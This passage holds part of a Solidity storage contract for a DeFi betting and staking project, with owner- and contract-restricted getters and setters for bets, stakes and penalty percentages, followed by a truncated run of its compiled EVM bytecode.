(lockingPeriodForLPMapping[userAddress]); } function updateLockingPeriodForLPMapping(address userAddress, uint256 _amountLocked, uint256 _lockedTimeStamp) external onlyMyContracts{ InlineDatabaseLib.LPLockedInfo memory lpLockedInfo= InlineDatabaseLib.LPLockedInfo({ lockedTimeStamp:_lockedTimeStamp, amountLocked:_amountLocked }); lockingPeriodForLPMapping[userAddress]=lpLockedInfo; } function getTokenStakedAmount() external view returns(uint256){ return (tokenStakedAmount); } function updateTokenStakedAmount(uint256 _tokenStakedAmount) external onlyMyContracts{ tokenStakedAmount=_tokenStakedAmount; } function getBetId() external view returns(uint256){ return betid; } function updateBetId(uint256 _userBetId) external onlyMyContracts{ betid=_userBetId; } function updateBetArray(InlineDatabaseLib.BetInfo memory bObject) external onlyMyContracts{ betArray.push(bObject); } function updateBetArrayIndex(InlineDatabaseLib.BetInfo memory bObject, uint256 index) external onlyMyContracts{ betArray[index]=bObject; } function getBetArray() external view returns(InlineDatabaseLib.BetInfo[] memory){ return betArray; } function getFindBetInArrayUsingBetIdMapping(uint256 _betid) external view returns(uint256){ return findBetInArrayUsingBetIdMapping[_betid]; } function updateFindBetInArrayUsingBetIdMapping(uint256 _betid, uint256 value) external onlyMyContracts{ findBetInArrayUsingBetIdMapping[_betid]=value; } function updateUserStakedAddress(address _address) external onlyMyContracts{ userStakedAddress.push(_address); } function getUserStakedAddress() external view returns(address[] memory){ return userStakedAddress; } function updateUserStakedAddress(address[] memory _userStakedAddress) external onlyMyContracts{ userStakedAddress=_userStakedAddress; } function getFlexibleDefiCoinArray() external view returns(InlineDatabaseLib.FlexibleInfo[] memory){ return flexibleDefiCoinArray; } function getFlexibleIndexArray() external view returns(InlineDatabaseLib.FlexibleInfo[] memory){ return flexibleIndexArray; } function getFixedDefiCoinArray() external view returns(InlineDatabaseLib.FixedInfo[] memory){ return fixedDefiCoinArray; } function getFixedDefiIndexArray() external view returns(InlineDatabaseLib.FixedInfo[] memory){ return fixedDefiIndexArray; } function updateBetIndexForFixedArray(uint256 _betId, InlineDatabaseLib.IndexCoin memory iCArray) external onlyMyContracts{ betIndexArray[_betId].push(iCArray); } function getBetIndexForFixedArray(uint256 _betId) external view returns(InlineDatabaseLib.IndexCoin[] memory){ return (betIndexArray[_betId]); } function updateBetIndexArray(uint256 _betId, InlineDatabaseLib.IndexCoin memory iCArray) external onlyMyContracts{ betIndexArray[_betId].push(iCArray); } function getBetIndexArray(uint256 _betId) external view returns(InlineDatabaseLib.IndexCoin[] memory){ return (betIndexArray[_betId]); } function updateBetPriceHistoryMapping(uint256 _betId, InlineDatabaseLib.BetPriceHistory memory bPHObj) external onlyMyContracts{ betPriceHistoryMapping[_betId]=bPHObj; } function getBetPriceHistoryMapping(uint256 _betId) external view returns(InlineDatabaseLib.BetPriceHistory memory){ return (betPriceHistoryMapping[_betId]); } function addUpdatePlentyOneDayPercentage(uint256 percentage) public onlyOwner{ plentyOneDayPercentage=percentage; } function getPlentyOneDayPercentage() external view returns(uint256){ return (plentyOneDayPercentage); } function addUpdatePlentyThreeDayPercentage(uint256 _days, uint256 percentage) public onlyOwner{ plentyThreeDayPercentage[_days]=percentage; } function getPlentyThreeDayPercentage(uint256 _days) external view returns(uint256){ return (plentyThreeDayPercentage[_days]); } function addUpdatePlentySevenDayPercentage(uint256 _days, uint256 percentage) public onlyOwner{ plentySevenDayPercentage[_days]=percentage; } function getPlentySevenDayPercentage(uint256 _days) external view returns(uint256){ return (plentySevenDayPercentage[_days]); } function updateOrcaleAddress(address oracleAddress) external onlyOwner{ oracleWrapperContractAddress=oracleAddress; } function getOracleWrapperContractAddress() external view returns(address){ return oracleWrapperContractAddress; } function getBetsAccordingToUserAddress(address userAddress) external view returns(uint256[] memory){ return betAddressesArray[userAddress]; } function getUserBetCount(address userAddress) external view returns(uint256){ return betAddressesArray[userAddress].length; } function getUserBetArray(address userAddress, uint256 pageNo, uint256 pageSize) external view returns(InlineDatabaseLib.BetInfo[] memory){ uint256[] memory betIndexes=betAddressesArray[userAddress]; if(betIndexes.length>0){ uint256 startIndex=(((betIndexes.length).sub(pageNo.mul(pageSize))).sub(1)); uint256 endIndex; uint256 pageCount=startIndex.add(1); if(pageSize.sub(1)<startIndex){ endIndex=(startIndex.sub(pageSize.sub(1))); pageCount=pageSize; } InlineDatabaseLib.BetInfo[] memory bArray=new InlineDatabaseLib.BetInfo[](pageCount); uint256 value; for(uint256 i=endIndex;i<=startIndex;i++){ bArray[value]=betArray[findBetInArrayUsingBetIdMapping[betIndexes[i]]]; value++; } return bArray; } return new InlineDatabaseLib.BetInfo[](0); } function updateBetAddressesArray(address userAddress, uint256 _betId) external onlyMyContracts{ betAddressesArray[userAddress].push(_betId); } function addUserAddressUsedForBetting(address userAddress) external onlyMyContracts{ userAddressUsedForBetting.push(userAddress); } function getUserAddressUsedForBetting() external view returns(address[] memory){ return userAddressUsedForBetting; } function addDaysToDayArray(uint256 _days) internal{ bool isAvailable; for(uint256 i=0;i<daysArray.length;i++){ if(daysArray[i]==_days){ isAvailable=true; break; } } if(!isAvailable){ daysArray.push(_days); } } function isDaysAvailable(uint256 _days) external view returns(bool){ for(uint256 i=0;i<daysArray.length;i++){ if(daysArray[i]==_days){ return true; } } return false; } function getDaysArray() external view returns(uint256[] memory){ return daysArray; } function getAdminAddress() external view returns(address){ return adminAddress; } function updateAdminAddress(address _adminAddress) external onlyOwner{ adminAddress=_adminAddress; } modifier onlyMyContracts() { require(msg.sender == XIVMainContractAddress || msg.sender==XIVBettingFixedContractAddress || msg.sender== XIVBettingFlexibleContractAddress); _; } // fallback function receive() external payable {} }
0x60806040526004361061048f5760003560e01c806301df57c71461049b5780630296b8d8146104d157806303c8ab53146104e65780630539f001146104fb578063073b2a6c1461051d5780630756973d1461053d57806308d6707d1461056a5780630ba3b8921461058a578063113e6ecd146105b7578063126a88e4146105d957806314c8af83146105f95780631508d41d1461061957806317674d771461062e5780632103788c1461064e5780632357760a1461066e578063255ce4a01461068e5780632ade039d146106ae5780632f4f71df146106ce5780632f8faeb8146106f057806332c3a39914610710578063341658f3146107325780633424958d1461075f57806334a6a687146107815780633e23d6ef146107965780633eed9289146107b857806341ca19f5146107e557806343504d3b146107fa57806345e1a5a21461081a5780634a5fc61b1461083a5780635076e3b91461085a57806352a29b831461086f57806352d5d4b31461088f57806352eb7796146108af5780635522378f146108cf578063585d7c1e146108ef578063599eb701146109045780635fbee42414610924578063624910591461094457806363d480e1146109645780636699d1e01461098457806368281f1e146109a45780636908fd4d146109b95780636e372143146109d95780636f3c1112146109ee578063718fff7214610a0e57806373743c1b14610a2e5780637a4e552c14610a4e5780637dca7f0814610a6e5780637eaea50214610a8e5780637f67687314610abb578063811b789d14610adb5780638141dcf614610afb5780638286cdd514610b1b57806382dfad2114610b3b57806385e2381c14610b5b57806387d4947b14610b7b578063896e793114610b905780638da5cb5b14610ba55780638e747bdd14610bba5780639048828d14610bda5780639336af2e14610bfa57806399bf2a5214610c0f5780639aa63fe414610c2f5780639cb6047e14610c5c578063a64b6e5f14610c7c578063aad0ed8814610c9c578063ad80d5ae14610cbe578063af1cfa6214610cd3578063afc610c714610cf3578063b087975414610d13578063b0f2f3b014610d33578063b2e6b91214610d48578063b5c604ff14610d5d578063b624010a14610d72578063b722a5de14610d92578063b9f6be1314610db2578063bbef467c14610dd2578063bdd322b114610df2578063c151237a14610e12578063c9e8c1ed14610e32578063cd2fdbdb14610e5f578063cdeae85314610e74578063ce693f1814610e94578063d3bb1fba14610eb4578063d3c045c21461064e578063d92d1c8d14610ed4578063dd5436a214610ef4578063dd61349a14610f14578063df240b5914610f34578063e185b09214610f54578063e42f5c8a14610f74578063e5da9a5b14610f94578063e7c9171c14610fb4578063ea371e6414610fc9578063f091bf5f14610fe9578063f0cd51d014611009578063f2fde38b14611029578063f827e61514611049578063f84e666d14611069578063f9976e3914611089578063f9f71b3b1461109e578063fa77c534146110be578063fbdb9d8d146110de578063fc6f9468146110fe57610496565b3661049657005b600080fd5b3480156104a757600080fd5b506104bb6104b63660046154f3565b611113565b6040516104c89190615dbd565b60405180910390f35b3480156104dd57600080fd5b506104bb611128565b3480156104f257600080fd5b506104bb61112e565b34801561050757600080fd5b5061051b6105163660046151f3565b611134565b005b34801561052957600080fd5b5061051b6105383660046154ba565b6112e7565b34801561054957600080fd5b5061055d610558366004615317565b6113e9565b6040516104c891906158f9565b34801561057657600080fd5b5061051b610585366004615267565b611697565b34801561059657600080fd5b506105aa6105a5366004615267565b6116f4565b6040516104c89190615d93565b3480156105c357600080fd5b506105cc6117fa565b6040516104c8919061587e565b3480156105e557600080fd5b5061051b6105f43660046156bc565b611809565b34801561060557600080fd5b5061051b610614366004615122565b61189e565b34801561062557600080fd5b506104bb611931565b34801561063a57600080fd5b5061051b610649366004615472565b611937565b34801561065a57600080fd5b5061051b6106693660046155cf565b611bd8565b34801561067a57600080fd5b5061051b6106893660046151f3565b611cbf565b34801561069a57600080fd5b5061051b6106a9366004615691565b611e64565b3480156106ba57600080fd5b5061051b6106c9366004615349565b611ed9565b3480156106da57600080fd5b506106e3611f31565b6040516104c89190615b7b565b3480156106fc57600080fd5b5061051b61070b366004615613565b611fa7565b34801561071c57600080fd5b50610725612097565b6040516104c891906158ac565b34801561073e57600080fd5b5061075261074d366004615122565b6120f9565b6040516104c89190615c00565b34801561076b57600080fd5b50610774612117565b6040516104c89190615aa4565b34801561078d57600080fd5b506104bb6121b7565b3480156107a257600080fd5b506107ab6121bd565b6040516104c89190615a1a565b3480156107c457600080fd5b506107d86107d3366004615267565b612272565b6040516104c89190615d56565b3480156107f157600080fd5b506104bb61235e565b34801561080657600080fd5b506104bb610815366004615122565b612364565b34801561082657600080fd5b5061051b610835366004615670565b61237f565b34801561084657600080fd5b5061051b610855366004615523565b6123d1565b34801561086657600080fd5b5061055d61245d565b34801561087b57600080fd5b5061051b61088a366004615122565b61256d565b34801561089b57600080fd5b5061051b6108aa3660046151c1565b6125a6565b3480156108bb57600080fd5b506104bb6108ca366004615122565b612612565b3480156108db57600080fd5b5061051b6108ea3660046154f3565b61262d565b3480156108fb57600080fd5b506104bb612673565b34801561091057600080fd5b506104bb61091f3660046154f3565b612679565b34801561093057600080fd5b5061051b61093f3660046156ee565b61268b565b34801561095057600080fd5b5061051b61095f366004615670565b6127c5565b34801561097057600080fd5b5061051b61097f366004615122565b6127ee565b34801561099057600080fd5b506104bb61099f3660046154f3565b612827565b3480156109b057600080fd5b506105cc612839565b3480156109c557600080fd5b5061051b6109d43660046154f3565b612848565b3480156109e557600080fd5b506104bb61288e565b3480156109fa57600080fd5b5061051b610a093660046156ee565b612894565b348015610a1a57600080fd5b5061051b610a29366004615122565b612997565b348015610a3a57600080fd5b5061051b610a493660046154f3565b6129d0565b348015610a5a57600080fd5b5061051b610a693660046154f3565b6129ec565b348015610a7a57600080fd5b5061051b610a893660046153e4565b612a32565b348015610a9a57600080fd5b50610aae610aa93660046154f3565b612cf0565b6040516104c89190615d33565b348015610ac757600080fd5b50610752610ad63660046154f3565b612d31565b348015610ae757600080fd5b5061051b610af636600461513c565b612d79565b348015610b0757600080fd5b5061051b610b16366004615122565b612de0565b348015610b2757600080fd5b5061051b610b36366004615317565b612e73565b348015610b4757600080fd5b506104bb610b563660046154f3565b612eed565b348015610b6757600080fd5b5061051b610b76366004615122565b612eff565b348015610b8757600080fd5b506107ab612f38565b348015610b9c57600080fd5b506106e3612fec565b348015610bb157600080fd5b506105cc613058565b348015610bc657600080fd5b5061051b610bd5366004615670565b613067565b348015610be657600080fd5b5061051b610bf536600461548e565b6130ba565b348015610c0657600080fd5b5061077461324d565b348015610c1b57600080fd5b5061051b610c2a366004615774565b6132ec565b348015610c3b57600080fd5b50610c4f610c4a366004615122565b6134b6565b6040516104c89190615da6565b348015610c6857600080fd5b5061051b610c773660046152cb565b6134f1565b348015610c8857600080fd5b5061051b610c97366004615186565b613573565b348015610ca857600080fd5b50610cb161365d565b6040516104c89190615bc8565b348015610cca57600080fd5b506107256136b4565b348015610cdf57600080fd5b5061051b610cee36600461575a565b613714565b348015610cff57600080fd5b50610725610d0e3660046154f3565b613839565b348015610d1f57600080fd5b5061051b610d2e3660046154f3565b6138bd565b348015610d3f57600080fd5b506104bb6138d9565b348015610d5457600080fd5b506105cc6138df565b348015610d6957600080fd5b506104bb6138ee565b348015610d7e57600080fd5b506104bb610d8d366004615122565b6138f4565b348015610d9e57600080fd5b5061051b610dad3660046154ba565b61390f565b348015610dbe57600080fd5b5061051b610dcd366004615774565b613a11565b348015610dde57600080fd5b5061051b610ded36600461575a565b613bc9565b348015610dfe57600080fd5b5061051b610e0d3660046154f3565b613cee565b348015610e1e57600080fd5b506104bb610e2d3660046154f3565b613d0a565b348015610e3e57600080fd5b50610e52610e4d3660046154f3565b613d1c565b6040516104c89190615b1b565b348015610e6b57600080fd5b506105cc613e61565b348015610e8057600080fd5b5061051b610e8f36600461555d565b613e70565b348015610ea057600080fd5b5061051b610eaf3660046154f3565b613ef7565b348015610ec057600080fd5b5061051b610ecf3660046154f3565b613f13565b348015610ee057600080fd5b5061051b610eef366004615122565b613f2f565b348015610f0057600080fd5b50610725610f0f3660046154f3565b613f68565b348015610f2057600080fd5b50610cb1610f2f366004615122565b613fe8565b348015610f4057600080fd5b5061051b610f4f366004615267565b614053565b348015610f6057600080fd5b50610725610f6f3660046154f3565b6140c0565b348015610f8057600080fd5b5061051b610f8f3660046156bc565b61413b565b348015610fa057600080fd5b5061051b610faf3660046154f3565b61419f565b348015610fc057600080fd5b506105cc6141bb565b348015610fd557600080fd5b5061051b610fe4366004615122565b6141ca565b348015610ff557600080fd5b5061051b611004366004615267565b614203565b34801561101557600080fd5b5061051b611024366004615613565b614260565b34801561103557600080fd5b5061051b611044366004615122565b614324565b34801561105557600080fd5b50610752611064366004615290565b6143a9565b34801561107557600080fd5b50610e526110843660046154f3565b6143df565b34801561109557600080fd5b506105cc614519565b3480156110aa57600080fd5b5061051b6110b9366004615670565b614528565b3480156110ca57600080fd5b506107d86110d9366004615267565b61457a565b3480156110ea57600080fd5b5061051b6110f9366004615670565b61462a565b34801561110a57600080fd5b506105cc614653565b6000818152602860205260409020545b919050565b60095490565b602a5490565b6000546001600160a01b0316331461114b57600080fd5b60008111801561115c575060038111155b6111815760405162461bcd60e51b815260040161117890615c39565b60405180910390fd5b6040805160608101825261ffff858116825284151560208084019182528385018981526000878152601483528681206001600160a01b038d16825283529590952084518154935161ffff1990941694169390931762ff00001916620100009215159290920291909117825592518051929384936112049260018501920190614cad565b5090505061128c868360011461122b5783600214611223576017611226565b60165b61122e565b60155b80548060200260200160405190810160405280929190818152602001828054801561128257602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611264575b5050505050614662565b6112df57816001146112af57816002146112a75760176112aa565b60165b6112b2565b60155b8054600181018255600091825260209091200180546001600160a01b0319166001600160a01b0388161790555b505050505050565b6000546001600160a01b031633146112fe57600080fd5b6040805160a081018252601d80546001600160801b03808216845261ffff9788166020850190815296881694840194855294871660608401908152600160808501818152908301845560009390935292517f6d4407e7be21f808e6509aa9fa9143369579dd7d760fe20a2c09680fc146134f909101805496519451935192516001600160801b0319909716919095161761ffff60801b1916600160801b938716939093029290921761ffff60901b1916600160901b918616919091021761ffff60a01b1916600160a01b91909416029290921760ff60b01b1916600160b01b91151591909102179055565b6001600160a01b0383166000908152602d6020908152604080832080548251818502810185019093528083526060949383018282801561144857602002820191906000526020600020905b815481526020019060010190808311611434575b5050505050905060008151111561165a57600061147b600161147561146d88886146b8565b855190614711565b90614711565b905060008061148b836001614753565b905082611499876001614711565b10156114ba576114b46114ad876001614711565b8490614711565b91508590505b6000816001600160401b03811180156114d257600080fd5b5060405190808252806020026020018201604052801561150c57816020015b6114f9614d39565b8152602001906001900390816114f15790505b5090506000835b85811161164b57602b602c600089848151811061152c57fe5b60200260200101518152602001908152602001600020548154811061154d57fe5b6000918252602091829020604080516101c0810182526009909302909101805483526001810154938301939093526002830154908201526003820154606082015260048201546080820152600582015460a082015260068201546001600160a01b0390811660c083015260078301541660e08201526008909101546001600160801b03811661010083015261ffff600160801b82048116610120840152600160901b82048116610140840152600160a01b82048116610160840152600160b01b82048116610180840152600160c01b909104166101a0820152835184908490811061163457fe5b602090810291909101015260019182019101611513565b50819650505050505050611690565b604080516000808252602082019092529061168b565b611678614d39565b8152602001906001900390816116705790505b509150505b9392505050565b600e546001600160a01b03163314806116ba5750600f546001600160a01b031633145b806116cf57506010546001600160a01b031633145b6116d857600080fd5b6001600160a01b03909116600090815260016020526040902055565b6116fc614dad565b6000828152601f602081815260408084206001600160a01b03888116865290835293819020815160a081018352815461ffff8116825262010000810490961681850152600160b01b90950460ff16151585830152600180820180548451600261010094831615949094026000190190911692909204958601859004850282018501909352848152909360608601939192918301828280156117de5780601f106117b3576101008083540402835291602001916117de565b820191906000526020600020905b8154815290600101906020018083116117c157829003601f168201915b5050505050815260200160028201548152505090505b92915050565b6012546001600160a01b031690565b6000546001600160a01b0316331461182057600080fd5b81601e848154811061182e57fe5b9060005260206000200160000160016101000a8154816001600160401b0302191690836001600160401b0316021790555080601e848154811061186d57fe5b6000918252602090912001805460ff19169115159190911790556118996001600160401b0383166147ab565b505050565b600e546001600160a01b03163314806118c15750600f546001600160a01b031633145b806118d657506010546001600160a01b031633145b6118df57600080fd5b600380546001810182556000919091527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b0180546001600160a01b0319166001600160a01b0392909216919091179055565b60075490565b600e546001600160a01b031633148061195a5750600f546001600160a01b031633145b8061196f57506010546001600160a01b031633145b61197857600080fd5b602b805460018101825560009190915281517f11c44e4875b74d31ff9fd779bf2566af7bd15b87fc985d01f5094b89e3669e4f60099092029182015560208201517f11c44e4875b74d31ff9fd779bf2566af7bd15b87fc985d01f5094b89e3669e5082015560408201517f11c44e4875b74d31ff9fd779bf2566af7bd15b87fc985d01f5094b89e3669e5182015560608201517f11c44e4875b74d31ff9fd779bf2566af7bd15b87fc985d01f5094b89e3669e5282015560808201517f11c44e4875b74d31ff9fd779bf2566af7bd15b87fc985d01f5094b89e3669e5382015560a08201517f11c44e4875b74d31ff9fd779bf2566af7bd15b87fc985d01f5094b89e3669e5482015560c08201517f11c44e4875b74d31ff9fd779bf2566af7bd15b87fc985d01f5094b89e3669e55820180546001600160a01b03199081166001600160a01b039384161790915560e08401517f11c44e4875b74d31ff9fd779bf2566af7bd15b87fc985d01f5094b89e3669e568401805490921692169190911790556101008201517f11c44e4875b74d31ff9fd779bf2566af7bd15b87fc985d01f5094b89e3669e5790910180546101208401516101408501516101608601516101808701516101a0909701516001600160801b03199094166001600160801b039096169590951761ffff60801b1916600160801b61ffff938416021761ffff60901b1916600160901b918316919091021761ffff60a01b1916600160a01b948216949094029390931761ffff60b01b1916600160b01b948416949094029390931761ffff60c01b1916600160c01b9290931691909102919091179055565b600e546001600160a01b0316331480611bfb5750600f546001600160a01b031633145b80611c1057506010546001600160a01b031633145b611c1957600080fd5b6000828152602760209081526040808320805460018181018355918552938390208551600390950201805486850151938701511515600160b01b0260ff60b01b196001600160a01b03909516620100000262010000600160b01b031961ffff90981661ffff19909316929092179690961617929092169390931781556060840151805185949293611cae938501920190614cad565b506080820151816002015550505050565b6000546001600160a01b03163314611cd657600080fd5b600081118015611ce7575060038111155b611d035760405162461bcd60e51b815260040161117890615c39565b6040805160608101825261ffff858116825284151560208084019182528385018981526000878152601983528681206001600160a01b038d16825283529590952084518154935161ffff1990941694169390931762ff0000191662010000921515929092029190911782559251805192938493611d869260018501920190614cad565b50905050611e0a8683600114611dac5783600214611da557601c611226565b601b61122e565b601a805480602002602001604051908101604052809291908181526020018280548015611282576020028201919060005260206000209081546001600160a01b03168152600190910190602001808311611264575050505050614662565b6112df5781600114611e2c5781600214611e2557601c6112aa565b601b6112b2565b601a8054600181018255600091825260209091200180546001600160a01b0388166001600160a01b0319909116179055505050505050565b600e546001600160a01b0316331480611e875750600f546001600160a01b031633145b80611e9c57506010546001600160a01b031633145b611ea557600080fd5b8082847fea400399dad319d2105a2299b79fb5876792116ec5d20af4018d7b56596ea2d360405160405180910390a4505050565b600e546001600160a01b0316331480611efc5750600f546001600160a01b031633145b80611f1157506010546001600160a01b031633145b611f1a57600080fd5b8051611f2d906003906020840190614dda565b5050565b60606024805480602002602001604051908101604052809291908181526020016000905b82821015611f9e576000848152602090819020604080518082019091529084015460ff81161515825261010090046001600160401b031681830152825260019092019101611f55565b50505050905090565b6000546001600160a01b03163314611fbe57600080fd5b8360238681548110611fcc57fe5b9060005260206000200160000160106101000a81548161ffff021916908361ffff160217905550826023868154811061200157fe5b9060005260206000200160000160126101000a81548161ffff021916908361ffff160217905550816023868154811061203657fe5b9060005260206000200160000160146101000a81548161ffff021916908361ffff160217905550806023868154811061206b57fe5b60009182526020909120018054911515600160b01b0260ff60b01b199092169190911790555050505050565b606060038054806020026020016040519081016040528092919081815260200182805480156120ef57602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116120d1575b5050505050905090565b6001600160a01b03166000908152600a602052604090205460ff1690565b60606023805480602002602001604051908101604052809291908181526020016000905b82821015611f9e5760008481526020908190206040805160a081018252918501546001600160801b038116835261ffff600160801b8204811684860152600160901b8204811692840192909252600160a01b8104909116606083015260ff600160b01b909104161515608082015282526001909201910161213b565b602e5490565b60606018805480602002602001604051908101604052809291908181526020016000905b82821015611f9e5760008481526020908190206040805160c081018252918501546001600160801b03811683526001600160401b03600160801b8204168385015261ffff600160c01b8204811692840192909252600160d01b810482166060840152600160e01b8104909116608083015260ff600160f01b90910416151560a08201528252600190920191016121e1565b61227a614e2f565b60008281526019602090815260408083206001600160a01b03871684528252918290208251606081018452815461ffff8116825262010000900460ff16151581840152600180830180548651600261010094831615949094026000190190911692909204601f8101869004860283018601875280835292959394938601939192909183018282801561234d5780601f106123225761010080835404028352916020019161234d565b820191906000526020600020905b81548152906001019060200180831161233057829003601f168201915b505050505081525050905092915050565b60065490565b6001600160a01b031660009081526002602052604090205490565b600e546001600160a01b03163314806123a25750600f546001600160a01b031633145b806123b757506010546001600160a01b031633145b6123c057600080fd5b600090815260286020526040902055565b600e546001600160a01b03163314806123f45750600f546001600160a01b031633145b8061240957506010546001600160a01b031633145b61241257600080fd5b826001600160a01b03167f066cc35299e3e992074a8f0e2540c7cafd6f7f75e2d28fe81e0451088497453885848460405161244f93929190615dc6565b60405180910390a250505050565b6060602b805480602002602001604051908101604052809291908181526020016000905b82821015611f9e576000848152602090819020604080516101c0810182526009860290920180548352600180820154848601526002820154928401929092526003810154606084015260048101546080840152600581015460a084015260068101546001600160a01b0390811660c085015260078201541660e0840152600801546001600160801b03811661010084015261ffff600160801b82048116610120850152600160901b82048116610140850152600160a01b82048116610160850152600160b01b82048116610180850152600160c01b909104166101a08301529083529092019101612481565b6000546001600160a01b0316331461258457600080fd5b601280546001600160a01b0319166001600160a01b0392909216919091179055565b600e546001600160a01b03163314806125c95750600f546001600160a01b031633145b806125de57506010546001600160a01b031633145b6125e757600080fd5b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6001600160a01b031660009081526001602052604090205490565b600e546001600160a01b03163314806126505750600f546001600160a01b031633145b8061266557506010546001600160a01b031633145b61266e57600080fd5b600855565b600d5490565b60009081526030602052604090205490565b6000546001600160a01b031633146126a257600080fd5b84602587815481106126b057fe5b9060005260206000200160000160106101000a8154816001600160401b0302191690836001600160401b0316021790555083602587815481106126ef57fe5b9060005260206000200160000160186101000a81548161ffff021916908361ffff160217905550826025878154811061272457fe5b90600052602060002001600001601a6101000a81548161ffff021916908361ffff160217905550816025878154811061275957fe5b90600052602060002001600001601c6101000a81548161ffff021916908361ffff160217905550806025878154811061278e57fe5b60009182526020909120018054911515600160f01b0260ff60f01b199092169190911790556112df6001600160401b0386166147ab565b6000546001600160a01b031633146127dc57600080fd5b6000918252602f602052604090912055565b6000546001600160a01b0316331461280557600080fd5b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6000908152602c602052604090205490565b6011546001600160a01b031690565b600e546001600160a01b031633148061286b5750600f546001600160a01b031633145b8061288057506010546001600160a01b031633145b61288957600080fd5b600555565b60055490565b6000546001600160a01b031633146128ab57600080fd5b84601887815481106128b957fe5b9060005260206000200160000160106101000a8154816001600160401b0302191690836001600160401b0316021790555083601887815481106128f857fe5b9060005260206000200160000160186101000a81548161ffff021916908361ffff160217905550826018878154811061292d57fe5b90600052602060002001600001601a6101000a81548161ffff021916908361ffff160217905550816018878154811061296257fe5b90600052602060002001600001601c6101000a81548161ffff021916908361ffff160217905550806018878154811061278e57fe5b6000546001600160a01b031633146129ae57600080fd5b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146129e757600080fd5b600955565b600e546001600160a01b0316331480612a0f5750600f546001600160a01b031633145b80612a2457506010546001600160a01b031633145b612a2d57600080fd5b602a55565b6000546001600160a01b03163314612a4957600080fd5b6040805160008152602081019182905251612a6691600491614dda565b508060011415612a865760048054612a8091602091614e4e565b50612ab1565b8060021415612a9f5760048054612a8091602191614e4e565b60048054612aaf91602291614e4e565b505b60005b825181101561189957828181518110612ac957fe5b6020026020010151601f60008481526020019081526020016000206000858481518110612af257fe5b6020908102919091018101518101516001600160a01b0390811683528282019390935260409182016000208451815486840151948701511515600160b01b0260ff60b01b1995909616620100000262010000600160b01b031961ffff90931661ffff1990921691909117919091161792909216929092178155606083015180519192612b8692600185019290910190614cad565b5060808201518160020155905050612c26838281518110612ba357fe5b60200260200101516020015183600114612bcd5783600214612bc6576022611226565b602161122e565b602080546040805182840281018401909152818152919082820182828015611282576020028201919060005260206000209081546001600160a01b03168152600190910190602001808311611264575050505050614662565b612ce8578160011415612c84576020838281518110612c4157fe5b60209081029190910181015181015182546001810184556000938452919092200180546001600160a01b0319166001600160a01b03909216919091179055612ce8565b8160021415612c9b576021838281518110612c4157fe5b6022838281518110612ca957fe5b60209081029190910181015181015182546001810184556000938452919092200180546001600160a01b0319166001600160a01b039092169190911790555b600101612ab4565b612cf8614e8e565b506000908152602660209081526040918290208251808401909352546001600160801b038082168452600160801b909104169082015290565b6000805b603154811015612d70578260318281548110612d4d57fe5b90600052602060002001541415612d68576001915050611123565b600101612d35565b50600092915050565b600e546001600160a01b0316331480612d9c5750600f546001600160a01b031633145b80612db157506010546001600160a01b031633145b612dba57600080fd5b612dc5848285614825565b612dce57600080fd5b612dda8484848461496f565b50505050565b600e546001600160a01b0316331480612e035750600f546001600160a01b031633145b80612e1857506010546001600160a01b031633145b612e2157600080fd5b603280546001810182556000919091527f11df491316f14931039edfd4f8964c9a443b862f02d4c7611d18c2bc4e6ff6970180546001600160a01b0319166001600160a01b0392909216919091179055565b600e546001600160a01b0316331480612e965750600f546001600160a01b031633145b80612eab57506010546001600160a01b031633145b612eb457600080fd5b60408051808201825291825260208083019384526001600160a01b039094166000908152600c9094529092209151825551600190910155565b60009081526029602052604090205490565b6000546001600160a01b03163314612f1657600080fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b606060258054806020026020016040519081016040528092919081815260200160009082821015611f9e5760008481526020908190206040805160c081018252918501546001600160801b03811683526001600160401b03600160801b8204168385015261ffff600160c01b8204811692840192909252600160d01b810482166060840152600160e01b8104909116608083015260ff600160f01b90910416151560a08201528252600190920191016121e1565b6060601e8054806020026020016040519081016040528092919081815260200160009082821015611f9e576000848152602090819020604080518082019091529084015460ff81161515825261010090046001600160401b031681830152825260019092019101611f55565b6000546001600160a01b031681565b600e546001600160a01b031633148061308a5750600f546001600160a01b031633145b8061309f57506010546001600160a01b031633145b6130a857600080fd5b6000918252602c602052604090912055565b600e546001600160a01b03163314806130dd5750600f546001600160a01b031633145b806130f257506010546001600160a01b031633145b6130fb57600080fd5b81602b828154811061310957fe5b6000918252602091829020835160099092020190815590820151600182015560408201516002820155606082015160038201556080820151600482015560a0820151600582015560c08201516006820180546001600160a01b039283166001600160a01b03199182161790915560e0840151600784018054919093169116179055610100820151600890910180546101208401516101408501516101608601516101808701516101a09097015161ffff908116600160c01b0261ffff60c01b19988216600160b01b0261ffff60b01b19938316600160a01b0261ffff60a01b19958416600160901b0261ffff60901b1994909716600160801b0261ffff60801b196001600160801b03909b166001600160801b0319909916989098179990991696909617919091169390931791909116949094179390931617929092161790555050565b6060601d8054806020026020016040519081016040528092919081815260200160009082821015611f9e5760008481526020908190206040805160a081018252918501546001600160801b038116835261ffff600160801b8204811684860152600160901b8204811692840192909252600160a01b8104909116606083015260ff600160b01b909104161515608082015282526001909201910161213b565b6000546001600160a01b0316331461330357600080fd5b6000805b6025546001600160401b038216101561336d57856001600160401b03166025826001600160401b03168154811061333a57fe5b600091825260209091200154600160801b90046001600160401b03161415613365576001915061336d565b600101613307565b50801561338c5760405162461bcd60e51b815260040161117890615d02565b6040805160c081018252602580546001600160801b0380821684526001600160401b03808b166020860181815261ffff808d169888019889528b8116606089019081528b821660808a01908152600160a08b018181529089018a5560009990995289517f401968ff42a154441da5f6c4c935ac46b8671f0e062baaa62a7545ba53bb6e4c909801805494519b519251915199511515600160f01b0260ff60f01b199a8516600160e01b0261ffff60e01b19938616600160d01b0261ffff60d01b1995909616600160c01b0261ffff60c01b199e909916600160801b02600160801b600160c01b03199b909a166001600160801b03199097169690961799909916979097179a909a16949094179390931692909217969096161792909216179055906112df906147ab565b6134be614ea5565b506001600160a01b03166000908152600c6020908152604091829020825180840190935280548352600101549082015290565b600e546001600160a01b03163314806135145750600f546001600160a01b031633145b8061352957506010546001600160a01b031633145b61353257600080fd5b6001600160a01b0393841660009081526033602090815260408083209583529481528482209390951681529190935220805460ff1916911515919091179055565b600e546001600160a01b03163314806135965750600f546001600160a01b031633145b806135ab57506010546001600160a01b